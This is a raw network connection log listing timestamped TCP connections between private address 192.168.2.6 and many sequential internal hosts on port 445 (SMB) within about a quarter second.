Jul 6, 2024 14:11:26.377599001 CEST	445	50552	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:26.378835917 CEST	445	50555	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:26.380208015 CEST	445	50555	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:26.384511948 CEST	50560	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:26.384511948 CEST	50564	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:26.386981010 CEST	50561	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:26.387983084 CEST	445	50556	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:26.388847113 CEST	445	50559	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:26.388912916 CEST	445	50560	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:26.389874935 CEST	50511	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:26.389874935 CEST	50557	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:26.389874935 CEST	50557	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:26.389874935 CEST	50563	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:26.391927004 CEST	50559	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:26.391927004 CEST	50560	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:26.393275023 CEST	50512	445	192.168.2.6	192.168.1.176
Jul 6, 2024 14:11:26.393275976 CEST	50558	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:26.393728018 CEST	445	50560	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:26.393738031 CEST	445	50564	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:26.394730091 CEST	50564	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:26.394730091 CEST	50564	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:26.398835897 CEST	50565	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:26.399796963 CEST	445	50564	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:26.400691986 CEST	445	50563	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:26.400711060 CEST	445	50557	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:26.400753975 CEST	50564	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:26.406127930 CEST	50563	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:26.406127930 CEST	50557	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:26.406127930 CEST	50563	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:26.409095049 CEST	50566	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:26.410972118 CEST	445	50565	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:26.412334919 CEST	445	50563	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:26.412668943 CEST	50563	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:26.412668943 CEST	50565	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:26.412668943 CEST	50565	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:26.412924051 CEST	50558	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:26.412924051 CEST	50552	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:26.414403915 CEST	445	50558	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:26.414422989 CEST	445	50566	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:26.414469004 CEST	50567	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:26.414469004 CEST	50568	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:26.414489031 CEST	50566	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:26.414881945 CEST	50570	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:26.416465044 CEST	50569	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:26.417849064 CEST	445	50558	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:26.418483019 CEST	445	50561	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:26.419601917 CEST	445	50566	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:26.421017885 CEST	445	50567	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:26.421025038 CEST	50566	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:26.421077013 CEST	50567	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:26.421127081 CEST	445	50568	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:26.421128988 CEST	50567	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:26.422501087 CEST	50568	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:26.422537088 CEST	50568	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:26.424695969 CEST	445	50569	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:26.425400972 CEST	445	50570	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:26.425477982 CEST	50570	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:26.425570011 CEST	50569	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:26.425609112 CEST	50566	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:26.426055908 CEST	445	50567	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:26.426137924 CEST	445	50567	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:26.427434921 CEST	445	50568	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:26.427684069 CEST	445	50568	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:26.427690029 CEST	50561	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:26.427690029 CEST	50561	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:26.428683996 CEST	445	50565	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:26.428714991 CEST	50552	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:26.428714991 CEST	50562	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:26.428714991 CEST	50556	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:26.428750038 CEST	445	50565	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:26.428879976 CEST	50569	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:26.429238081 CEST	50570	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:26.429238081 CEST	50572	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:26.430402040 CEST	445	50566	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:26.430519104 CEST	50573	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:26.431154013 CEST	445	50570	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:26.431986094 CEST	445	50569	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:26.432034016 CEST	50570	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:26.432375908 CEST	50574	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:26.433702946 CEST	445	50552	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:26.433712959 CEST	445	50562	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:26.433779955 CEST	445	50569	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:26.433898926 CEST	50569	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:26.434400082 CEST	445	50570	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:26.434408903 CEST	445	50572	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:26.435148001 CEST	445	50561	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:26.435267925 CEST	445	50561	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:26.435439110 CEST	50565	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:26.435810089 CEST	445	50573	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:26.436460018 CEST	50558	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:26.436726093 CEST	50572	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:26.436726093 CEST	50572	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:26.437325001 CEST	445	50574	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:26.437398911 CEST	50573	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:26.437479019 CEST	50573	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:26.437505007 CEST	50574	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:26.438863039 CEST	50574	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:26.439373970 CEST	50571	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:26.442775965 CEST	445	50573	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:26.443486929 CEST	445	50574	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:26.443540096 CEST	50573	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:26.443555117 CEST	50574	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:26.444415092 CEST	445	50574	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:26.444449902 CEST	50575	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:26.445666075 CEST	50577	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:26.447205067 CEST	50576	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:26.449101925 CEST	445	50571	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:26.449240923 CEST	445	50575	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:26.450453997 CEST	445	50577	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:26.450517893 CEST	50577	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:26.450989962 CEST	50575	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:26.450989962 CEST	50575	445	192.168.2.6	192.168.1.69
Jul 6, 2024 14:11:26.452549934 CEST	445	50572	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:26.452558994 CEST	50562	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:26.452559948 CEST	50562	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:26.452575922 CEST	445	50572	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:26.453197002 CEST	50571	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:26.453197002 CEST	50571	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:26.455830097 CEST	445	50577	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:26.455849886 CEST	445	50575	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:26.455904961 CEST	50577	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:26.456219912 CEST	445	50575	192.168.1.69	192.168.2.6
Jul 6, 2024 14:11:26.459837914 CEST	50577	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:26.460238934 CEST	445	50571	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:26.460474014 CEST	445	50571	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:26.461075068 CEST	50578	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:26.461263895 CEST	50579	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:26.463839054 CEST	445	50562	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:26.464106083 CEST	445	50576	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:26.464174986 CEST	50576	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:26.464427948 CEST	445	50562	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:26.464772940 CEST	445	50577	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:26.465876102 CEST	445	50578	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:26.466541052 CEST	50578	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:26.466603994 CEST	445	50579	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:26.470705032 CEST	50579	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:26.470705032 CEST	50579	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:26.474315882 CEST	445	50576	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:26.474577904 CEST	445	50578	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:26.475017071 CEST	50578	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:26.475756884 CEST	50580	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:26.475846052 CEST	50576	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:26.475846052 CEST	50576	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:26.476974964 CEST	50581	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:26.478749037 CEST	50578	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:26.478749037 CEST	50582	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:26.488862038 CEST	445	50580	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:26.488893032 CEST	445	50576	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:26.488902092 CEST	445	50581	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:26.489234924 CEST	445	50578	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:26.489419937 CEST	50581	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:26.489573956 CEST	445	50582	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:26.489682913 CEST	50580	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:26.489682913 CEST	50580	445	192.168.2.6	192.168.1.70
Jul 6, 2024 14:11:26.491630077 CEST	50582	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:26.491630077 CEST	50582	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:26.492328882 CEST	50583	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:26.495366096 CEST	50581	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:26.495569944 CEST	445	50579	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:26.495594978 CEST	445	50579	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:26.495691061 CEST	445	50538	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:26.496499062 CEST	445	50580	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:26.496618032 CEST	50538	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:26.497117043 CEST	445	50580	192.168.1.70	192.168.2.6
Jul 6, 2024 14:11:26.497188091 CEST	445	50583	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:26.497374058 CEST	50583	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:26.497374058 CEST	50583	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:26.497672081 CEST	50584	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:26.499430895 CEST	445	50582	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:26.500540018 CEST	445	50581	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:26.502800941 CEST	50581	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:26.504153013 CEST	50579	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:26.504556894 CEST	50582	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:26.506458998 CEST	445	50583	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:26.506891012 CEST	50583	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:26.507288933 CEST	445	50584	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:26.507380009 CEST	50586	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:26.507380009 CEST	50587	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:26.507380009 CEST	50584	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:26.508524895 CEST	50585	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:26.508826017 CEST	50589	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:26.510610104 CEST	50584	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:26.513767958 CEST	445	50585	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:26.513899088 CEST	445	50589	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:26.514031887 CEST	50589	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:26.514069080 CEST	50589	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:26.514283895 CEST	50585	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:26.514283895 CEST	50585	445	192.168.2.6	192.168.1.71
Jul 6, 2024 14:11:26.515049934 CEST	50588	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:26.515501976 CEST	445	50586	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:26.515510082 CEST	445	50587	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:26.516197920 CEST	445	50584	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:26.516319990 CEST	50586	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:26.516319990 CEST	50587	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:26.516319990 CEST	50587	445	192.168.2.6	192.168.1.72
Jul 6, 2024 14:11:26.516319990 CEST	50586	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:26.516319990 CEST	50584	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:26.519347906 CEST	445	50589	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:26.519639015 CEST	445	50589	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:26.520026922 CEST	445	50588	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:26.520317078 CEST	445	50585	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:26.520323992 CEST	445	50585	192.168.1.71	192.168.2.6
Jul 6, 2024 14:11:26.521219969 CEST	445	50587	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:26.521399975 CEST	445	50586	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:26.521435022 CEST	445	50586	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:26.521445036 CEST	445	50587	192.168.1.72	192.168.2.6
Jul 6, 2024 14:11:26.521601915 CEST	50588	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:26.521603107 CEST	50588	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:26.521892071 CEST	50586	445	192.168.2.6	192.168.1.73
Jul 6, 2024 14:11:26.523475885 CEST	50590	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:26.523971081 CEST	50591	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:26.526966095 CEST	445	50588	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:26.527004957 CEST	445	50586	192.168.1.73	192.168.2.6
Jul 6, 2024 14:11:26.528435946 CEST	50588	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:26.528572083 CEST	445	50590	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:26.528683901 CEST	50590	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:26.528851986 CEST	445	50591	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:26.529947042 CEST	50591	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:26.529947042 CEST	50591	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:26.533633947 CEST	445	50590	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:26.534591913 CEST	50590	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:26.538631916 CEST	50590	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:26.539446115 CEST	50592	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:26.539858103 CEST	445	50591	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:26.539879084 CEST	445	50591	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:26.539892912 CEST	50593	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:26.540426970 CEST	50591	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:26.546338081 CEST	445	50592	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:26.546529055 CEST	445	50590	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:26.546556950 CEST	50592	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:26.546734095 CEST	50592	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:26.546783924 CEST	445	50593	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:26.546849012 CEST	50593	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:26.546911001 CEST	50593	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:26.554898977 CEST	50595	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:26.555376053 CEST	50596	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:26.556468010 CEST	445	50592	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:26.558489084 CEST	445	50593	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:26.559043884 CEST	50592	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:26.559781075 CEST	50593	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:26.565680981 CEST	445	50595	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:26.565700054 CEST	445	50596	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:26.565962076 CEST	50595	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:26.565962076 CEST	50595	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:26.567496061 CEST	50596	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:26.567496061 CEST	50596	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:26.569437027 CEST	50598	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:26.569514036 CEST	50599	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:26.571402073 CEST	50601	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:26.571763039 CEST	50594	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:26.575186014 CEST	445	50595	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:26.576354980 CEST	445	50596	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:26.576842070 CEST	445	50598	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:26.577074051 CEST	445	50599	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:26.577842951 CEST	50596	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:26.578505039 CEST	445	50594	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:26.580080986 CEST	445	50601	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:26.580228090 CEST	50598	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:26.580228090 CEST	50598	445	192.168.2.6	192.168.1.77
Jul 6, 2024 14:11:26.580229044 CEST	50599	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:26.580229044 CEST	50599	445	192.168.2.6	192.168.1.76
Jul 6, 2024 14:11:26.582618952 CEST	445	50551	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:26.582705975 CEST	50551	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:26.586343050 CEST	50601	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:26.586343050 CEST	50601	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:26.586344004 CEST	50604	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:26.588623047 CEST	50597	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:26.588623047 CEST	50594	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:26.589905977 CEST	50602	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:26.591950893 CEST	50600	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:26.591950893 CEST	50595	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:26.591950893 CEST	50603	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:26.594760895 CEST	445	50555	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:26.596333981 CEST	445	50601	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:26.599301100 CEST	445	50598	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:26.599309921 CEST	445	50599	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:26.599318027 CEST	445	50602	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:26.599322081 CEST	50555	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:26.599322081 CEST	50601	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:26.599385977 CEST	445	50601	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:26.599617958 CEST	50602	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:26.599617958 CEST	50602	445	192.168.2.6	192.168.1.78
Jul 6, 2024 14:11:26.600219011 CEST	445	50598	192.168.1.77	192.168.2.6
Jul 6, 2024 14:11:26.600227118 CEST	445	50599	192.168.1.76	192.168.2.6
Jul 6, 2024 14:11:26.600373030 CEST	445	50604	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:26.600456953 CEST	50604	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:26.600584984 CEST	50604	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:26.601279020 CEST	445	50600	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:26.601800919 CEST	50605	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:26.601841927 CEST	50600	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:26.601898909 CEST	50600	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:26.601908922 CEST	445	50603	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:26.602493048 CEST	50603	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:26.602551937 CEST	50603	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:26.604140997 CEST	50606	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:26.607280016 CEST	50594	445	192.168.2.6	192.168.1.74
Jul 6, 2024 14:11:26.609074116 CEST	445	50602	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:26.609162092 CEST	445	50602	192.168.1.78	192.168.2.6
Jul 6, 2024 14:11:26.611182928 CEST	445	50604	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:26.611192942 CEST	445	50604	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:26.611294985 CEST	445	50605	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:26.611304045 CEST	445	50600	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:26.611483097 CEST	50605	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:26.611483097 CEST	50605	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:26.611787081 CEST	445	50597	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:26.612010002 CEST	445	50603	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:26.612935066 CEST	445	50606	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:26.614486933 CEST	50606	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:26.614486933 CEST	50606	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:26.614999056 CEST	50600	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:26.614999056 CEST	50603	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:26.616523027 CEST	445	50594	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:26.616765976 CEST	445	50594	192.168.1.74	192.168.2.6
Jul 6, 2024 14:11:26.618330956 CEST	50607	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:26.619165897 CEST	50597	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:26.619165897 CEST	50597	445	192.168.2.6	192.168.1.75
Jul 6, 2024 14:11:26.620655060 CEST	445	50605	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:26.624660015 CEST	445	50606	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:26.624871969 CEST	50608	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:26.626775026 CEST	50606	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:26.628490925 CEST	50605	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:26.630527973 CEST	445	50607	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:26.632086039 CEST	50607	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:26.632118940 CEST	445	50597	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:26.632190943 CEST	50607	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:26.632711887 CEST	445	50597	192.168.1.75	192.168.2.6
Jul 6, 2024 14:11:26.634078026 CEST	50609	445	192.168.2.6	192.168.1.80
Jul 6, 2024 14:11:26.634078026 CEST	50610	445	192.168.2.6	192.168.1.79
Jul 6, 2024 14:11:26.634078026 CEST	50611	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:26.637660027 CEST	50612	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:26.637923002 CEST	445	50608	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:26.639779091 CEST	50608	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:26.641180992 CEST	445	50607	192.168.1.208	192.168.2.6
